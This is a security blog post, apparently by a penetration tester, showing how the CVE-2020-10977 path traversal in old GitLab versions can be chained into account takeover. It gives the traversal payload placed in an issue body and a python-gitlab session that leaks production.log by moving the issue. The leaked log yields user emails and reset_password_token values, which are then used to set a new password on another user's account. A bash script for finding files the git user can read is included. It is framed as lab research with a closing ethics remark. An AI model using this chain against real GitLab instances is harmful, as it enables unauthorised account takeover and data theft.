In this post I will demonstrate how CVE-2020-10977 path traversal vulnerability can be exploited on old versions of GitLab to drop a registered user’s password.

banner.png

TL;DR

According to NIST, GitLab CE/EE versions 8.5 <= 12.9 are affected by CVE-2020-10977 path traversal vulnerability. In real-life scenarios GitLab versions 8.5 <= 11.0.2 will not let an adversary to leverage this vulnerability to perform LFI attack for an arbitrary file: due to permission aspects it is only possible to include local files which are readable & writable by git user and which are located in a directory that allows git to create subdirectories in.

For a default GitLab installation there are a couple of such files:

/var/log/gitlab/gitlab-rails/production_json.log
/var/log/gitlab/gitlab-rails/production.log
/var/log/gitlab/gitlab-rails/application.log
/var/log/gitlab/gitlab-shell/gitlab-shell.log
/var/log/gitlab/unicorn/unicorn_stdout.log
/var/log/gitlab/unicorn/unicorn_stderr.log
/var/opt/gitlab/gitlab-monitor/gitlab-monitor.yml
/var/opt/gitlab/gitlab-workhorse/config.toml
/var/opt/gitlab/.ssh/authorized_keys
/opt/gitlab/var/unicorn/unicorn.pid

The production.log file contains secret reset_password_token values that are generated as a result of requesting a password change for a registered user. These values can be used to drop a user’s password.

GitLab Env Info

Tested on GitLab CE v9.5.1:

root@gitlab:~# gitlab-rake gitlab:env:info

System information
System:
Current User:   git
Using RVM:      no
Ruby Version:   2.3.3p222
Gem Version:    2.6.6
Bundler Version:1.13.7
Rake Version:   12.0.0
Redis Version:  3.2.5
Git Version:    2.13.5
Sidekiq Version:5.0.4
Go Version:     unknown

GitLab information
Version:        9.5.1
Revision:       c47ae37
Directory:      /opt/gitlab/embedded/service/gitlab-rails
DB Adapter:     postgresql
URL:            http://gitlab.local
HTTP Clone URL: http://gitlab.local/some-group/some-project.git
SSH Clone URL:  git@gitlab.local:some-group/some-project.git
Using LDAP:     no
Using Omniauth: no

GitLab Shell
Version:        5.8.0
Repository storage paths:
- default:      /var/opt/gitlab/git-data/repositories
Hooks:          /opt/gitlab/embedded/service/gitlab-shell/hooks
Git:            /opt/gitlab/embedded/bin/git

Prologue

Remark: I’m pretty sure all this stuff has already been disscussed many times, but anyways, in case someone did not know about this attack vector…

There was an engagement taking place recently where a relatively old version of GitLab CE (v9.5.1) was being used in the client’s environment.

Two widely known attack vectors that are worth trying on vulnerable versions of GitLab are:

  1. 8.18 < 11.3.11 / 11.4 < 11.4.8 / 11.5 < 11.5.1: the “SSRF → Redis → RCE” killchain that leverages weak IP filtering in GitLab’s project integrations to trigger a local http:// (or git://) request to Redis (SSRF), and then abuses the CLRF vulnerability to fool Redis and execute commands with GitlabShellWorker (GitLab system hooks). The CVE IDs are: CVE-2018-19571 for SSRF and CVE-2018-19585 for CLRF. @LiveOverflow has a great video on this topic.
  2. 8.5 <= 12.9: the “Path Traversal → LFI → RCE” killchain that exploits GitLab’s issue moving functionality to achieve local file inclusion, read secret_key_base, sign a malicious cookie with it and trigger the evil payload deserialization. The RCE part is possible only for versions starting from 12.4 when the vulnerable experimentation_subject_id cookie was introduced. The CVE ID for LFI is CVE-2020-10977.

The first attack was not an option for me, because there was no Redis instance running on the server (although the SSRF issue could still be shown). The second attack seemed like an excellent way to demonstrate the risks of ignoring 3rd-party software fixes, even though we can only achieve LFI…

But can we, by the way?

An Attempt to Exploit LFI

Some cool analysis of the CVE-2020-10977 vulnerability can be found in this ][ article, so I will use it as a basis for my experiments.

I will download and run GitLab CE v9.5.1 in docker to reproduce working environment during the penetration test, add gitlab.local to my hosts file on Kali and navigate to http://gitlab.local/ in browser (it can take a couple of minutes for GitLab to start all of its services):

$ docker run --rm -d -h gitlab.local -p 80:80 --name gitlab9 gitlab/gitlab-ce:9.5.1-ce.0

gitlab-sign-in.png

After builtin admin’s password is set, I will register a new user account, sign in and create 2 projects: project1 and project2.

gitlab-projects.png

To exploit CVE-2020-10977 I will create a new issue in project1 and trigger “Move to a different project” functionality to move the issue to project2. The body of the issue contains a standard for CVE-2020-10977 LFI payload:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../etc/passwd)

gitlab-move-issue.png

Here is where the error occurs.

gitlab-move-issue-error.png

Looking at the request in Burp, we can see that server answers with 500 Internal Server Error.

burp-move-issue-error.png

I will jump into the container and check /var/log/gitlab/gitlab-rails/production.log.

docker-check-logs-1.png

docker-check-logs-2.png

As you can tell from the screenshot above, a TypeError exception is raised when trying to move the issue. Let’s dive into the source code to figure out what’s actually going on.

Explore the Source Code

I followed the same trace as did aLLy here (but for version 9.5.1 this time), and the key difference was found in lib/gitlab/gfm/uploads_rewriter.rb:

01: require 'fileutils'

03: module Gitlab
04:   module Gfm
...
12:     class UploadsRewriter
...
19:       def rewrite(target_project)
20:         return @text unless needs_rewrite?
21: 
22:         @text.gsub(@pattern) do |markdown|
23:           file = find_file(@source_project, $~[:secret], $~[:file])
24:           return markdown unless file.try(:exists?)
25: 
26:           new_uploader = FileUploader.new(target_project)
27:           with_link_in_tmp_dir(file.file) do |open_tmp_file|
28:             new_uploader.store!(open_tmp_file)
29:           end
30:           new_uploader.to_markdown
31:         end
32:       end
...
54:       # Because the uploaders use 'move_to_store' we must have a temporary
55:       # file that is allowed to be (re)moved.
56:       def with_link_in_tmp_dir(file)
57:         dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
58:         # The filename matters to Carrierwave so we make sure to preserve it
59:         tmp_file = File.join(dir, File.basename(file))
60:         File.link(file, tmp_file)
61:         # Open the file to placate Carrierwave
62:         File.open(tmp_file) { |open_file| yield open_file }
63:       ensure
64:         FileUtils.rm_rf(dir)
65:       end
66:     end
67:   end
68: end

In GitLab before commit a47359bb (v11.0.3) file uploading is managed by the Carrierwave gem. For this purpose the with_link_in_tmp_dir function exists.

When moving attachments from one issue to another, this function creates a temp directory with a hard link to the attachment being moved. The temp dir is created inside uploads / USER_NAME / PROJECT_NAME / DIRECTORY_HASH_NAME directory which is owned by git user, so the operation is completely legitimate. The attachments are also owned by git, that’s why creating hard links is allowed as well.

docker-uploads-permissions.png

But what will happen if someone attempts to treat as an attachment another file, that is not allowed to be read and modified by git and is not located in a directory that allows git to create subdirectories in? That’s right – 500 Internal Server Error. You can look at it in action from the Ruby console.

For demonstration purposes I will test 3 copies of /etc/passwd:

  1. the default /etc/passwd file itself,
  2. a copy of /etc/passwd in /tmp (name it /tmp/passwd1),
  3. a copy of /etc/passwd in /tmp with 0646 permissions set (name it /tmp/passwd2).
root@gitlab:~# ls -la /etc/passwd
-rw-r--r-- 1 root root 1728 Aug 23  2017 /etc/passwd
root@gitlab:~# cp /etc/passwd /tmp/passwd1
root@gitlab:~# cp /etc/passwd /tmp/passwd2
root@gitlab:~# chmod 646 /tmp/passwd2
root@gitlab:~# ls -la /tmp/passwd*
-rw-r--r-- 1 root root 1728 Feb 20 18:59 /tmp/passwd1
-rw-r--rw- 2 root root 1728 Feb 20 18:59 /tmp/passwd2

root@gitlab:~# which irb
/opt/gitlab/embedded/bin/irb
root@gitlab:~# su - git
$ bash
git@gitlab:~$ /opt/gitlab/embedded/bin/irb
irb(main):001:0> require 'tmpdir'
=> true

1. /etc/passwd:

irb(main):002:0> file = '/etc/passwd'
=> "/etc/passwd"
irb(main):003:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
Errno::EACCES: Permission denied @ dir_s_mkdir - /etc/UploadsRewriter20210220-23528-3vzp3l
        from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `mkdir'
        from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `block in mktmpdir'
        from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:130:in `create'
        from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `mktmpdir'
        from (irb):3
        from /opt/gitlab/embedded/bin/irb:11:in `<main>'

2. /tmp/passwd1:

irb(main):004:0> file = '/tmp/passwd1'
=> "/tmp/passwd1"
irb(main):005:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
=> "/tmp/UploadsRewriter20210220-23528-1cghep2"
irb(main):006:0> tmp_file = File.join(dir, File.basename(file))
=> "/tmp/UploadsRewriter20210220-23528-1cghep2/passwd1"
irb(main):007:0> File.link(file, tmp_file)
Errno::EPERM: Operation not permitted @ rb_file_s_link - (/tmp/passwd1, /tmp/UploadsRewriter20210220-23528-1cghep2/passwd1)
        from (irb):7:in `link'
        from (irb):7
        from /opt/gitlab/embedded/bin/irb:11:in `<main>'

3. /tmp/passwd2:

irb(main):008:0> file = '/tmp/passwd2'
=> "/tmp/passwd2"
irb(main):009:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
=> "/tmp/UploadsRewriter20210220-23528-1orue96"
irb(main):010:0> tmp_file = File.join(dir, File.basename(file))
=> "/tmp/UploadsRewriter20210220-23528-1orue96/passwd2"
irb(main):011:0> File.link(file, tmp_file)
=> 0

git@gitlab:~$ ls -la /tmp/UploadsRewriter20210220-23528-1orue96
total 12
drwx------ 2 git  git  4096 Feb 20 19:01 .
drwxrwxrwt 1 root root 4096 Feb 20 19:02 ..
-rw-r--rw- 2 root root 1728 Feb 20 18:59 passwd2

git@gitlab:~$ stat /tmp/UploadsRewriter20210220-23528-1orue96/passwd2
  File: '/tmp/UploadsRewriter20210220-23528-1orue96/passwd2'
  Size: 1728            Blocks: 8          IO Block: 4096   regular file
Device: 34h/52d Inode: 3811797     Links: 2
Access: (0646/-rw-r--rw-)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2021-02-20 18:59:02.589888858 +0000
Modify: 2021-02-20 18:59:02.589888858 +0000
Change: 2021-02-20 19:01:12.657888228 +0000
 Birth: -

As expected only /tmp/passwd2 will be successfully processed by with_link_in_tmp_dir function.

To make sure that path traversal really works I will add a couple of debug statements to uploads_rewriter.rb and run scenario 1 and 3 live.

...
56:       def with_link_in_tmp_dir(file)
57:         File.write('/tmp/gitlab.log', "1. #{file}\n", mode: 'a')        # <== DEBUG
58:         dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
59:         File.write('/tmp/gitlab.log', "2. #{dir}\n", mode: 'a')         # <== DEBUG
60:         # The filename matters to Carrierwave so we make sure to preserve it
61:         tmp_file = File.join(dir, File.basename(file))
62:         File.write('/tmp/gitlab.log', "3. #{tmp_file}\n", mode: 'a')    # <== DEBUG
63:         File.link(file, tmp_file)
64:         # Open the file to placate Carrierwave
65:         File.open(tmp_file) { |open_file| yield open_file }
66:       ensure
67:         FileUtils.rm_rf(dir)
68:       end
69:     end
70:   end
71: end

# Run "gitlab-ctl reconfigure && gitlab-ctl restart" for the changes to take affect

In the GIF below (clickable) I try to include /etc/passwd (which obviously fails), and then I successfully include /tmp/passwd2. Debug output is read from /tmp/gitlab.log.

gitlab-lfi-demo.gif

Locate All the git Accessible Files

Let’s find all files that can potentially be read via CVE-2020-10977 excluding git repository files in /var/opt/gitlab/git-data/repositories. Run it as git user:

#!/usr/bin/env bash

for file in `find / -type f -readable -writable 2>/dev/null | grep -v -e proc -e repositories`; do
  dname=`dirname $file`
  owner=`stat -c'%U' $dname`
    if [ $owner = "git" ]; then
      echo $file
  fi
done

# /var/log/gitlab/gitlab-rails/production_json.log
# /var/log/gitlab/gitlab-rails/production.log
# /var/log/gitlab/gitlab-rails/application.log
# /var/log/gitlab/gitlab-shell/gitlab-shell.log
# /var/log/gitlab/unicorn/unicorn_stdout.log
# /var/log/gitlab/unicorn/unicorn_stderr.log
# /var/opt/gitlab/gitlab-monitor/gitlab-monitor.yml
# /var/opt/gitlab/gitlab-workhorse/config.toml
# /var/opt/gitlab/.ssh/authorized_keys
# /opt/gitlab/var/unicorn/unicorn.pid

A potential adversary can grab /var/log/gitlab/gitlab-rails/production.log in a hunt for private repository names. But, unfortunately, these names cannot be used to pillage the repo contents like it’s implemented in these tools (1, 2, 3, 4), because git object files are not writable by git user:

git@gitlab:~/git-data/repositories/snovvcrash/testing.git$ find . -type f -ls
  4076646      4 -rw-r--r--   1 git      git            73 Feb 20 20:27 ./description
  4076700      4 -r--r--r--   1 git      git            54 Feb 20 20:27 ./objects/6d/0766474b191be6f96e2d6f2700cfda931972cb    <== NOT WRITABLE
  4076702      4 -r--r--r--   1 git      git           128 Feb 20 20:27 ./objects/45/f3aa4c8dbdc678acad919f135481734b02fc7b    <== NOT WRITABLE
  4076698      4 -r--r--r--   1 git      git            29 Feb 20 20:27 ./objects/c2/8679c4b723f6be660c1be95cd8e1cfccde03ce    <== NOT WRITABLE
  4076664      4 -rw-r--r--   1 git      git            66 Feb 20 20:27 ./config
  4076648      4 -rwxr-xr-x   1 git      git          3610 Feb 20 20:27 ./hooks.old.1613852846/update.sample
  4076649      4 -rwxr-xr-x   1 git      git           424 Feb 20 20:27 ./hooks.old.1613852846/pre-applypatch.sample
  4076650      4 -rwxr-xr-x   1 git      git           478 Feb 20 20:27 ./hooks.old.1613852846/applypatch-msg.sample
  4076651      4 -rwxr-xr-x   1 git      git          1642 Feb 20 20:27 ./hooks.old.1613852846/pre-commit.sample
  4076652      4 -rwxr-xr-x   1 git      git           189 Feb 20 20:27 ./hooks.old.1613852846/post-update.sample
  4076653      8 -rwxr-xr-x   1 git      git          4898 Feb 20 20:27 ./hooks.old.1613852846/pre-rebase.sample
  4076654      4 -rwxr-xr-x   1 git      git           896 Feb 20 20:27 ./hooks.old.1613852846/commit-msg.sample
  4076655      4 -rwxr-xr-x   1 git      git           544 Feb 20 20:27 ./hooks.old.1613852846/pre-receive.sample
  4076656      4 -rwxr-xr-x   1 git      git          1348 Feb 20 20:27 ./hooks.old.1613852846/pre-push.sample
  4076657      4 -rwxr-xr-x   1 git      git          1239 Feb 20 20:27 ./hooks.old.1613852846/prepare-commit-msg.sample
  4076659      4 -rw-r--r--   1 git      git           240 Feb 20 20:27 ./info/exclude
  4076663      4 -rw-r--r--   1 git      git            23 Feb 20 20:27 ./HEAD
  4076704      4 -rw-r--r--   1 git      git            41 Feb 20 20:27 ./refs/heads/master

So what else can be done when you possess the log files :thinking: How about changing someone’s password?

Changing a User’s Password

I will install python-gitlab to interact with GitLab API and perform the attack from command line. To do this I will first need to generate an access token as described here. Also, I can use this exploit as a cheat sheet for python-gitlab classes and methods.

Now I want to get production.log for the first time to extract some user emails:

Python 3.9.1 (default, Dec  8 2020, 07:51:42)
>>> import requests
>>> from gitlab import *
>>> session = requests.Session()
>>> session.verify = False
>>> host = 'http://gitlab.local'
>>> gl = Gitlab(host, private_token='B-XXqsurLyn5yPsXmrER', session=session)
>>> gl.auth()
>>> p1 = gl.projects.create({'name': 'project-1'})
>>> p2 = gl.projects.create({'name': 'project-2'})
>>> issue = p1.issues.create({'title': 'project-1-issue', 'description': '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../var/log/gitlab/gitlab-rails/production.log)'})
>>> issue.description
'![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../var/log/gitlab/gitlab-rails/production.log)'
>>> issue.move(p2.id)

burp-extract-email.png

As an alternative, you can reset builtin admin’s password if his email is left default admin@example.com.

Next, I will trigger a password reset for a discovered user via /users/password/new endpoint.

gitlab-reset-password-1.png

Now I will download production.log for the second time to extract the reset_password_token value.

burp-extract-token.png

From here I can navigate to http://gitlab.local/users/password/edit?reset_password_token=<TOKEN_VALUE> and set a new password for this user.

gitlab-reset-password-2.png

As a conclusion, I just want to mention that it’s definitely not even a little bit ethical to change a developer’s password on a production GitLab instance, so the customer must be informed before any changes are made.

Happy hacking!